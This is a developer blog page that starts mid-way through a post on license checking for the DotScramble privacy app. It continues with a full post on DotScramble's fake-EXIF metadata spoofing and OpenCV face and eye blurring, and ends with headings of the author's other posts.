            f"Upgrade to DotScramble Pro for advanced AI models."
        )
        self.detection_mode.set("face")   # Reset to free tier

# Feature gating at save time
is_max     = self.license_manager.is_max_activated
should_scrub = is_max and self.scrub_exif.get()
should_spoof = is_max and self.spoof_metadata.get() and not should_scrub

Protecting the Source with Cython

Python source is trivially readable. is_max_activated can be patched in two keystrokes:

# Original
return self._is_max

# Cracked version
return True

The defense: compile license_manager.py to a native .so extension using Cython. The setup_license.py script does this:

from setuptools import setup, Extension
from Cython.Build import cythonize

extensions = [
    Extension(
        "src.managers.license_manager",
        sources=["src/managers/license_manager.py"],
        extra_compile_args=["-O2"],  # Strip debug symbols
    )
]

setup(
    name="dotscramble_license",
    ext_modules=cythonize(
        extensions,
        compiler_directives={
            "embedsignature": False,   # No readable function signatures
            "emit_code_comments": False,  # No source hints in the binary
            "language_level": "3",
            "boundscheck": False,
            "wraparound": True,
        },
    ),
    zip_safe=False,
)

Build command:

python setup_license.py build_ext --inplace
# → src/managers/license_manager.cpython-313-x86_64-linux-gnu.so

After building, the .py source is removed from the distribution. The app imports from the .so exactly the same way — Python's import system finds the compiled extension automatically.

The resulting binary is a real shared library. Patching it requires disassembling machine code and finding the return instruction — orders of magnitude harder than editing a .py file. Not impossible, but the effort-to-reward ratio is high enough that most people will just buy a license.

Note: The compiled .so is platform-specific — cpython-313-x86_64-linux-gnu.so only runs on Linux x86_64 with CPython 3.13. Targeting Windows and macOS requires separate build steps on each platform, which is a solved problem for any CI pipeline.

The Full Lifecycle

First run (no license)
├── _is_max = False
├── Free tier features available
└── "Activate Pro" triggers browser flow

Activation
├── LocalAuthManager starts ephemeral HTTP server
├── Browser → dotsuite.vercel.app/auth → user logs in
├── Dashboard POSTs { key, state } to 127.0.0.1:PORT/callback
├── CSRF state verified (secrets.compare_digest)
├── verify_and_activate(key) sends machine_id to API server
├── Server signs token with Ed25519 private key
├── Client verifies token locally (signature + expiry + machine)
├── Token cached in SQLite
└── Background recheck thread started

Every startup (with cached token)
├── Clock rollback check
├── Local token verification (signature + expiry + machine)
├── _is_max = True if valid
└── Recheck thread started

Every 24 hours (background thread)
├── POST machine_id to /v1/license/recheck
├── Server returns fresh token (extends expiry)
├── Local verification of new token
├── Cache updated
└── On HTTP 401/403/404 → _clear_local() → instant deactivation

Deactivation
├── stop_recheck_event.set() → thread wakes and exits
├── DELETE /v1/license/deactivate (frees the activation slot)
└── _clear_local() → all local state wiped

What Doesn't Work (By Design)

I explicitly chose not to implement:

Online-only mode — requiring a network connection on every launch would be a poor user experience. Planes, trains, conferences with bad WiFi, corporate proxies. The 7-day grace period handles all of these.

Hardware lock to MAC address only — MAC addresses are trivially spoofed. Using /etc/machine-id and MachineGuid as the primary identifier is more robust.

Obfuscating the public key — pointless. The public key is designed to be public. Hiding it in a string scrambler doesn't add security — it just makes the code messier.

Aggressive telemetry — the only data sent to the server is the machine ID and the API key. No usage statistics, no file names, no behavioral data. DotScramble is a privacy tool — phoning home with analytics would be self-contradictory.

Key Takeaways

On Ed25519 vs HMAC: Use asymmetric signing whenever the verifier (client) is untrusted. If the client holds a shared secret, it can forge. If it only holds a public key, it can only verify.

On machine fingerprinting: Prefer OS-level identifiers (/etc/machine-id, MachineGuid) over network-layer identifiers (MAC, IP). The latter change too often to be reliable anchors.

On background threads: Event.wait(timeout) is better than time.sleep() for long-polling threads. It wakes immediately on event.set(), so shutdown is clean and instantaneous.

On feature gates: Keep the hot path — the boolean check called per-frame — as fast as possible. Cache everything. Do the expensive work (crypto, network) once in background.

On source protection: Cython is not DRM. It raises the bar significantly against casual tampering, but a determined reverse engineer can still disassemble the .so. The actual security comes from the Ed25519 signature — you can read every byte of the binary and still can't forge a valid token.

Part 3 covers what happened when I tried to make the UI actually good — a PyQt6 → PySide6 migration forced by a GPL license conflict, three separate Wayland window management bugs, building a custom animated file picker, and implementing non-blocking batch processing.

GitHub · OpenDesktop · Ko-fi · Buy Me a Coffee

Inside DotScramble: Metadata Spoofing, Custom EXIF Control, and Advanced Face/Eye Blur

freerave — Tue, 23 Jun 2026 13:32:46 +0000

A deep dive into how DotScramble protects your privacy — from injecting plausible-but-fake EXIF metadata to detecting and blurring faces and eyes with OpenCV Haar Cascades.

TL;DR — DotScramble is an open-source desktop app that protects image privacy through two main pillars: metadata obfuscation (stripping or spoofing EXIF data so your camera, GPS, and timestamp can't be traced back to you) and visual redaction (automatically detecting and blurring faces, eyes, license plates, and text). This post digs into the code behind both systems.

Why Metadata Is the Hidden Threat

When you take a photo, the file doesn't just contain pixels. Hidden inside is a block of EXIF metadata that silently stores:

Field	Example Value	Risk
`GPS Latitude/Longitude`	`30.0444° N, 31.2357° E`	Reveals your exact location
`Camera Make/Model`	`Apple iPhone 15 Pro`	Fingerprints your device
`DateTimeOriginal`	`2026:06:21 14:32:11`	Timestamps your movements
`Software`	`iOS 17.5`	Exposes OS/platform

Most people strip this metadata before sharing photos — but stripping alone can look suspicious. A completely blank EXIF block on a modern smartphone image is a red flag to any tracking algorithm. DotScramble takes a different approach: instead of silent stripping, it injects plausible-but-fake disinformation.

Part 1: The Metadata Spoofing Engine

The core of the system lives in core/metadata_spoofer.py.

The Camera Database — Intentionally Vintage

FAKE_CAMERAS: list[tuple[str, str, str]] = [
    ("Nokia",     "3310",              "Nokia Imaging 1.0"),
    ("Motorola",  "RAZR V3",           "Motorola Camera 1.2"),
    ("Samsung",   "SCH-U340",          "Samsung Digimax 2.1"),
    ("Casio",     "QV-10A",            "Casio Digital Camera"),
    ("Polaroid",  "PDC 640",           "Polaroid Software 1.1"),
    ("Kodak",     "DC40",              "Kodak EasyShare 3.0"),
    # ... and more
]

The list is intentionally filled with vintage and implausible devices — a Nokia 3310 doesn't have a camera at all, which is exactly the point. Trackers fingerprint devices by cross-referencing camera model with image resolution, color profile, and noise patterns. Injecting a Nokia 3310 signature into a modern 12MP photo creates an irreconcilable contradiction that defeats fingerprinting.

GPS Presets — Middle of Nowhere

GPS_PRESETS: dict[str, tuple[float, float]] = {
    "pacific":    (   4.2234,  -157.4521),  # Middle of Pacific Ocean
    "antarctica": ( -89.3312,    12.0000),  # Antarctica
    "arctic":     (  89.1122,  -178.4343),  # Arctic Ocean
    "sahara":     (  23.4122,    10.9988),  # Remote Sahara (no cell towers)
    "amazon":     (  -5.3421,   -63.2231),  # Deep Amazon basin
}

These aren't random — each preset was chosen because it's a location with no plausible human population or cell infrastructure, making it impossible to cross-reference the fake GPS against telecom tower data.

A small jitter is added to each preset on every run so the same preset never produces the exact same coordinates twice:

def _pick_gps(preset, custom, jitter=True):
    coords = GPS_PRESETS.get(preset, GPS_PRESETS["pacific"])
    if jitter:
        lat = coords[0] + random.uniform(-0.08, 0.08)
        lon = coords[1] + random.uniform(-0.08, 0.08)
        return (round(lat, 4), round(lon, 4))
    return coords

Converting GPS to EXIF Rationals

EXIF GPS doesn't store decimal degrees directly — it uses a DMS (Degrees, Minutes, Seconds) format with rational numbers (numerator/denominator pairs). Here's how DotScramble handles the conversion:

def _dms_rational(value: float) -> tuple[tuple[int, int], ...]:
    """Convert decimal degrees → (deg, min, sec) as EXIF rational tuples."""
    abs_v = abs(value)
    deg   = int(abs_v)
    m_f   = (abs_v - deg) * 60
    mins  = int(m_f)
    secs  = round((m_f - mins) * 60 * 10_000)
    return ((deg, 1), (mins, 1), (secs, 10_000))

The result gets packaged into a full GPS IFD:

def _build_gps_ifd(lat: float, lon: float) -> dict:
    return {
        piexif.GPSIFD.GPSLatitudeRef:  b"S" if lat < 0 else b"N",
        piexif.GPSIFD.GPSLatitude:     _dms_rational(lat),
        piexif.GPSIFD.GPSLongitudeRef: b"W" if lon < 0 else b"E",
        piexif.GPSIFD.GPSLongitude:    _dms_rational(lon),
        piexif.GPSIFD.GPSAltitude:     (0, 1),
        piexif.GPSIFD.GPSMapDatum:     b"WGS-84",
    }

Spoof Profiles — Opinionated Presets

Rather than exposing raw settings, DotScramble exposes three high-level profiles:

PROFILES = {
    "ghost": {
        # Maximum obfuscation — Nokia 3310 in Antarctica, year 2000
        "gps_preset":         "antarctica",
        "camera":             "Nokia 3310",
        "fake_datetime_mode": "epoch",
        "keep_copyright":     False,
    },
    "troll": {
        # Plausibly wrong — recent vintage camera, random ocean
        "gps_preset":         "pacific",
        "camera":             "random",
        "fake_datetime_mode": "recent",
        "keep_copyright":     False,
    },
    "artist": {
        # For photographers — strips location+device, preserves copyright
        "gps_preset":         "atlantic",
        "camera":             "random",
        "fake_datetime_mode": "random",
        "keep_copyright":     True,
    },
}

Usage is dead simple from Python:

from core.metadata_spoofer import spoof

result = spoof("photo.jpg", profile="ghost")
print(result)
# {
#   "format": "JPEG",
#   "camera": "Nokia 3310",
#   "gps": {"lat": -89.2891, "lon": 12.0412},
#   "datetime": "2000:01:01 00:00:00",
#   ...
# }

Or from the CLI:

dotscramble-spoof photo.jpg --profile ghost
dotscramble-spoof photo.jpg --gps-preset pacific --camera "Kodak DC40"
dotscramble-spoof photo.jpg --gps-custom 23.4 -54.2 --keep-copyright
dotscramble-spoof photo.jpg --dry-run --json

JPEG vs PNG — Different Metadata Formats

JPEG and PNG handle metadata completely differently:

JPEG uses binary EXIF chunks (IFD tables). DotScramble builds these using piexif:

exif_bytes = piexif.dump({
    "0th":  zeroth_ifd,   # Camera make, model, software, datetime
    "Exif": exif_ifd,     # DateTimeOriginal, ISO, aperture, shutter
    "GPS":  gps_ifd,      # Lat/lon in DMS rational format
})
img.save(output_path, "JPEG", exif=exif_bytes, quality=95)

PNG uses simple text chunks (key-value pairs). No GPS support in the standard:

pnginfo = PngImagePlugin.PngInfo()
pnginfo.add_text("Software",      software)
pnginfo.add_text("Author",        make)
pnginfo.add_text("Creation Time", png_dt)
pnginfo.add_text("date:create",   iso_dt)
pnginfo.add_text("date:modify",   iso_dt)
img.save(output_path, "PNG", pnginfo=pnginfo)

Design Note: PNG's text chunks are completely human-readable with any hex editor. DotScramble still populates them because many social platforms and reverse image search engines parse them. Injecting noise is better than leaving them empty.

Part 2: Custom Metadata Control — Per-Field EXIF Surgery

The spoofing profiles are great for quick use, but power users need surgical control. That's what the Custom Metadata Dialog provides — a per-field control panel where every EXIF tag can independently be set to one of four actions:

✅ Keep   — preserve the original value exactly
🗑 Strip  — remove this field entirely  
🎲 Spoof  — replace with a random plausible fake
✏️ Custom — enter your own specific value

The `spoof_custom()` Function

This is the engine behind the dialog. It takes a field_actions dict and applies each action independently:

def spoof_custom(
    input_path: str,
    output_path: str | None = None,
    *,
    field_actions: dict,
) -> dict:
    """
    Apply per-field EXIF actions to a JPEG or PNG.

    field_actions keys: gps, make, model, software, datetime, copyright, exposure
    Values: "keep" | "strip" | "spoof" | {"value": str}
            (gps uses {"lat": .., "lon": ..} for custom)
    """

The resolver function handles all four action types elegantly:

def _resolve_text(key: str, fake_fn) -> str | None:
    action = field_actions.get(key, "keep")
    if action == "strip":             return None
    if action == "keep":              return current.get(key)
    if action == "spoof":             return fake_fn()
    if isinstance(action, dict):      return action.get("value", "")
    return current.get(key)

# Applied per-field:
r_make     = _resolve_text("make",     lambda: make)
r_model    = _resolve_text("model",    lambda: model)
r_software = _resolve_text("software", lambda: software)
r_datetime = _resolve_text("datetime", lambda: _fake_timestamp("random"))

Reading Existing EXIF to Pre-fill the UI

Before showing the dialog, DotScramble reads the current EXIF so the user can see what's actually in the file:

def read_exif_fields(image_path: str) -> dict:
    """Read current EXIF and return structured dict for pre-filling the dialog."""
    result = {k: None for k in
              ("gps", "make", "model", "software", "datetime", "copyright", "exposure")}

    exif_dict = piexif.load(image_path)
    zeroth = exif_dict.get("0th", {})
    exif   = exif_dict.get("Exif", {})
    gps    = exif_dict.get("GPS", {})

    result["make"]     = _decode(zeroth, piexif.ImageIFD.Make)
    result["model"]    = _decode(zeroth, piexif.ImageIFD.Model)
    result["datetime"] = _decode(zeroth, piexif.ImageIFD.DateTime)
    # ... GPS DMS → decimal conversion, exposure parsing, etc.
    return result

The GPS conversion from DMS rational back to decimal is the tricky part:

def _dms_to_decimal(dms_tuple, ref: bytes) -> float | None:
    d = _rational(dms_tuple[0]) or 0
    m = _rational(dms_tuple[1]) or 0
    s = _rational(dms_tuple[2]) or 0
    val = d + m / 60 + s / 3600
    if ref in (b"S", b"W"):
        val = -val
    return round(val, 6)

Preset System for the Dialog

The Custom dialog also supports saving and loading named presets, backed by a JSON file:

# Example saved preset
{
    "gps":       "strip",
    "make":      "spoof",
    "model":     "spoof",
    "software":  "strip",
    "datetime":  {"value": "2023:01:01 12:00:00"},
    "copyright": "keep",
    "exposure":  "spoof"
}

Factory presets ship with the app (Ghost, Troll, Artist), and users can create their own. Factory presets are read-only and can't be deleted or overwritten.

Part 3: Advanced Face and Eye Blur

The visual redaction engine lives in core/image_processor.py.

The Detection Engine

DotScramble uses OpenCV's Haar Cascade classifiers — a classical machine learning approach that's fast, works offline, and has no cloud dependencies. The DetectionEngine class wraps the key classifiers:

class DetectionEngine:
    """Advanced detection algorithms"""

    @staticmethod
    def detect_faces(image):
        """Detect faces using Haar Cascade"""
        face_cascade = cv2.CascadeClassifier(
            cv2.data.haarcascades + 'haarcascade_frontalface_default.xml'
        )
        gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
        faces = face_cascade.detectMultiScale(gray, 1.1, 5, minSize=(30, 30))
        return faces

    @staticmethod
    def detect_eyes(image):
        """Detect eyes using Haar Cascade"""
        eye_cascade = cv2.CascadeClassifier(
            cv2.data.haarcascades + 'haarcascade_eye.xml'
        )
        gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
        eyes = eye_cascade.detectMultiScale(gray, 1.1, 5, minSize=(20, 20))
        return eyes

The parameters that matter:

scaleFactor=1.1 — how much the image is scaled down per detection pass (1.1 = 10% reduction per pass, slower but more accurate)
minNeighbors=5 — how many overlapping detections a region needs before it's accepted (higher = fewer false positives)
minSize=(30, 30) — minimum region size in pixels (filters out noise)

Applying the Blur — The `gaussian_blur` Method

Once regions are detected, DotScramble applies effects. The gaussian_blur implementation has extensive validation to handle edge cases like faces at image borders:

@staticmethod
def gaussian_blur(image, x, y, w, h, strength):
    """Apply Gaussian blur to region with validation"""
    img_h, img_w = image.shape[:2]

    # Clip region to image boundaries (handles faces at edges)
    x_end = min(x + w, img_w)
    y_end = min(y + h, img_h)
    w = x_end - x
    h = y_end - y

    # Ensure minimum region size
    if w < 3 or h < 3:
        raise ValueError(f"Region too small: {w}x{h}")

    # GaussianBlur requires odd kernel size
    if strength % 2 == 0:
        strength += 1
    strength = max(3, strength)

    region = image[y:y_end, x:x_end]
    blurred = cv2.GaussianBlur(region, (strength, strength), 0)
    return blurred

Beyond Blur — The Full Effect Suite

Blur is just one option. DotScramble supports 7 different privacy effects that can be applied to any detected region:

Effect	Method	Best For
🌫️ Gaussian Blur	`gaussian_blur()`	Professional, natural look
🔲 Pixelation	`pixelate()`	Classic censoring style
⬛ Black Bar	`black_bar()`	Strong, unambiguous redaction
🎭 Gradient Fade	`gradient_fade()`	Artistic/subtle censoring
🔳 Mosaic	`mosaic_effect()`	Decorative tile pattern
❄️ Frosted Glass	`frosted_glass()`	Translucent glass aesthetic
🎨 Oil Paint	`oil_paint()`	Artistic painting effect

The pixelation effect is a neat double-resize trick — shrink down, then scale back up with nearest-neighbor interpolation:

@staticmethod
def pixelate(image, x, y, w, h, pixel_size):
    region = image[y:y_end, x:x_end]
    region_h, region_w = region.shape[:2]
    pixel_size = max(1, pixel_size)

    # Shrink → enlarge = pixelation
    temp_h = max(1, region_h // pixel_size)
    temp_w = max(1, region_w // pixel_size)
    temp = cv2.resize(region, (temp_w, temp_h), interpolation=cv2.INTER_LINEAR)
    pixelated = cv2.resize(temp, (region_w, region_h), interpolation=cv2.INTER_NEAREST)
    return pixelated

The frosted glass effect combines PIL and OpenCV:

@staticmethod
def frosted_glass(image, x, y, w, h, strength=15):
    region = image[y:y_end, x:x_end]

    # Convert to PIL for advanced filtering
    pil_region = Image.fromarray(cv2.cvtColor(region, cv2.COLOR_BGR2RGB))

    blurred  = pil_region.filter(ImageFilter.GaussianBlur(strength))
    enhanced = ImageEnhance.Brightness(blurred).enhance(1.1)
    final    = enhanced.filter(ImageFilter.EDGE_ENHANCE)

    # Back to OpenCV format
    return cv2.cvtColor(np.array(final), cv2.COLOR_RGB2BGR)

Opacity Blending — Partial Redaction

All effects support an opacity parameter that blends the processed region with the original:

@staticmethod
def apply_opacity(original, processed, opacity):
    """Blend processed region with original based on opacity"""
    if original.shape != processed.shape:
        processed = cv2.resize(processed, (original.shape[1], original.shape[0]))

    alpha = opacity / 100.0
    return cv2.addWeighted(processed, alpha, original, 1 - alpha, 0)

This is useful for subtle watermark-style redaction (e.g., 50% opacity blur) vs. hard censoring (100%).

The Full Workflow

📁 Load Image
    │
    ▼
🎯 Select Detection Mode
    ├── Face Detection (Haar Cascade)
    ├── Eye Detection (Haar Cascade)
    ├── Full Body Detection
    ├── License Plate (contour analysis)
    ├── Text Detection (Tesseract OCR)
    ├── Manual Selection (draw regions)
    └── Full Image
    │
    ▼
🎨 Choose Effect + Strength + Opacity
    │
    ▼
🛡️  Apply Metadata Control
    ├── Quick Profile (ghost / troll / artist)
    └── Custom Per-Field (keep/strip/spoof/custom)
    │
    ▼
💾 Save / Batch Export

Why Haar Cascades Instead of Deep Learning?

I get this question a lot. DotScramble intentionally chose Haar Cascades over modern deep learning detectors like YOLO or MediaPipe face mesh. The reasons:

No cloud, no internet — Haar Cascades run entirely offline. Privacy tools should never phone home.
Zero model download on first run — the XML classifiers are bundled with OpenCV. No 100MB model download.
Fast on CPU — users don't need a GPU. The app runs fine on a 5-year-old laptop.
Good enough for the use case — the goal is privacy, not 99.9% recall. If a face is missed, Manual Selection is always available as fallback.

That said, AI-powered tracking (YOLOv8 or similar) is on the roadmap for v1.4.0 to improve detection of faces at angles, in poor lighting, or partially occluded.

Getting Started

# Clone
git clone https://github.com/kareem2099/DotScramble.git
cd DotScramble

# Install dependencies
pip install -r requirements.txt
# pip install opencv-python numpy Pillow pytesseract piexif PySide6

# Optional: Tesseract for text detection
sudo apt install tesseract-ocr

# Run
python src/main.py

Or grab the standalone Linux executable — no Python required — from one of these:

Platform	Link
🐙 GitHub Releases	Latest Release
🖥️ OpenDesktop / Pling	opendesktop.org/p/2362477

Conclusion

DotScramble's metadata system takes a "active disinformation" approach rather than passive stripping — the result is metadata that looks legitimate while being completely meaningless. Combined with the visual redaction engine, it provides a comprehensive privacy toolkit that works entirely offline.

The code is Apache 2.0 licensed and open to contributions. If you're interested in adding AI tracking, GPU acceleration, or a web interface — pull requests are very welcome.

GitHub: github.com/kareem2099/DotScramble

OpenDesktop: opendesktop.org/p/2362477

Made with ❤️ for privacy protection

DEV Community: freerave

The VSIX Packaging Trap: How I Eliminated Embedded Client Secrets from a VS Code Extension

A .vsix is just a ZIP archive of plain JavaScript. Here is the post-mortem of how our build-time secrets failed, how we designed dynamic device registration with OS SecretStorage, and how we solved the 'scanner scanning the scanner' paradox.

The Illusion of the Extension Package

Context: Why Did We Need a Secret in the First Place?

Attempt 1: The Build-Time Secret Trap (v2.1.0)

Attempt 2: Zero Embedded Client Secrets & Dynamic Device Handshake (v2.1.2)

1. Anonymous Environment Identity

2. Ephemeral Dynamic Registration

3. OS-Level SecretStorage

4. Authenticated Request Signing

The Automated Gatekeeper: CI/CD Pre-Publish Validation

The "Scanner Scanning the Scanner" Paradox (v2.1.3)

Avoiding Static Scanner False Positives via Runtime Pattern Construction

Build Hygiene & VSIX Purity

Checklist for VS Code Extension Developers

Links & Verification

DotEnvy Aegis: Building a 4-Layer AI Secret Detection Pipeline for VS Code

How I architected a multi-layer secret scanner combining regex, truncated composite community hashing, Shannon entropy gating, and a 35-feature neural classifier — cutting LLM overhead by ~80%.

What is DotEnvy?

The Problem: One Layer is Never Enough

The L1–L4 Architecture

Layer 1: In-Process Regex Engine (Instant Confidence)

Layer 2: Community Blacklist via Truncated Composite Hashing

Privacy Nuance & Threat Model

Server-Side Anti-Poisoning Architecture

Layer 3: Shannon Entropy Gate

Layer 4: Contextual Neural Classifier (Aegis)

Important Philosophy: Risk Signals, Not a Security Oracle

OS-Level Key Security: SecretStorage Migration

Test Verification

DotEnvy Extension (VS Code)

Aegis Backend Service (FastAPI / PyTorch)

The Next Challenge: Shipping the Detector

Links & Resources

DotGhostBoard 2.0.0 'Cerberus': Building a Native Cryptographic Clipboard & Vault for Linux

Meet DotGhostBoard 2.0.0 — a lightweight, zero-telemetry Linux clipboard manager featuring an encrypted Vault, Shannon entropy secret detection, multi-channel updates, tiling WM support, and native notifications.

⚡ What Makes DotGhostBoard Different?

🔍 What Changed in 2.0.0

🛡️ The Architecture of 2.0.0: Core Subsystems

1. The Encrypted Vault UI Subsystem (ui/vault/)

2. Zero-Log Password & Secret Detector

3. Direct "Send to Vault" Workflow

4. Multi-Channel Update Engine (Stable, Beta, Alpha)

5. System-Native FreeDesktop Notifications

6. Tiling Window Manager & EWMH Workspace Migration

🎨 Cyber-Stealth Phantom Visual Identity

🧪 Engineering Quality & Verification

📦 How to Get DotGhostBoard 2.0.0

1. OpenDesktop / KDE Store / Pling

2. GitHub Repository & Releases

Quick Install from Source:

Enable Global Shortcuts:

🤝 Join the Community

From Monolith to Modular Architecture: Refactoring a 2,353-Line PyQt6 Desktop App Without Regressions

How we transformed DotGhostBoard from a monolithic desktop app into a decoupled, test-driven modular architecture — decomposing monolithic classes, isolating SQLite, and adding 86 tests with zero regressions.

🛑 The "Before" Architecture: The Desktop App Debt Trap

🎯 The Core Architectural Principle

Phase 1: Modularizing Storage with the Repository & Facade Patterns

The Backward-Compatible Facade Pattern

Transactional Schema Migrations

Phase 2: Decoupling the Clipboard Engine with Protocols

Protocol-Based Backends

Phase 3: Domain Service Layer & Cryptographic Hardening

Cryptographic Rigor & Envelope Encryption

Phase 4: Decomposing the 2,353-Line Monolithic Qt Dashboard

The Impact:

🐛 4 Subtle Bugs Discovered (and Fixed) During Refactoring

1. The Recursive Clipboard Sync Loop

2. The $O(N)$ In-Memory Collection Calculation

3. N+1 Deletes in Periodic Cleanup

4. Encapsulation Leaks in Session Management

📊 Before vs. After: Metrics

📐 How We Measured

💡 Key Takeaways for Refactoring Desktop Apps

🚀 What's Next?

🔗 Links & Resources

When "Fast" Became the Only Rule

A developer's honest look at what really changed between the Roadmap era and the "ship it in five minutes" era — and why the real cost isn't hours worked, it's fragmented attention.

Back Then: There Was Room for Patience

1. The Encrypted Vault UI Subsystem (`ui/vault/`)

1. Spotlight Quick Search Overlay (`ui/spotlight.py`)

2. Smart Image Deduplication via SHA-256 (`core/storage.py`)

3. Zero-Leak Master Password Verification (`ui/dashboard.py`)

4. Search Input Debouncing with `QTimer`

5. Dashboard State Summary Banner (`StatsHeaderCard`)

🔒 Hardening Security: Banishing `new Function`

💻 The Ultimate Failsafe: Reverting via `git reverse`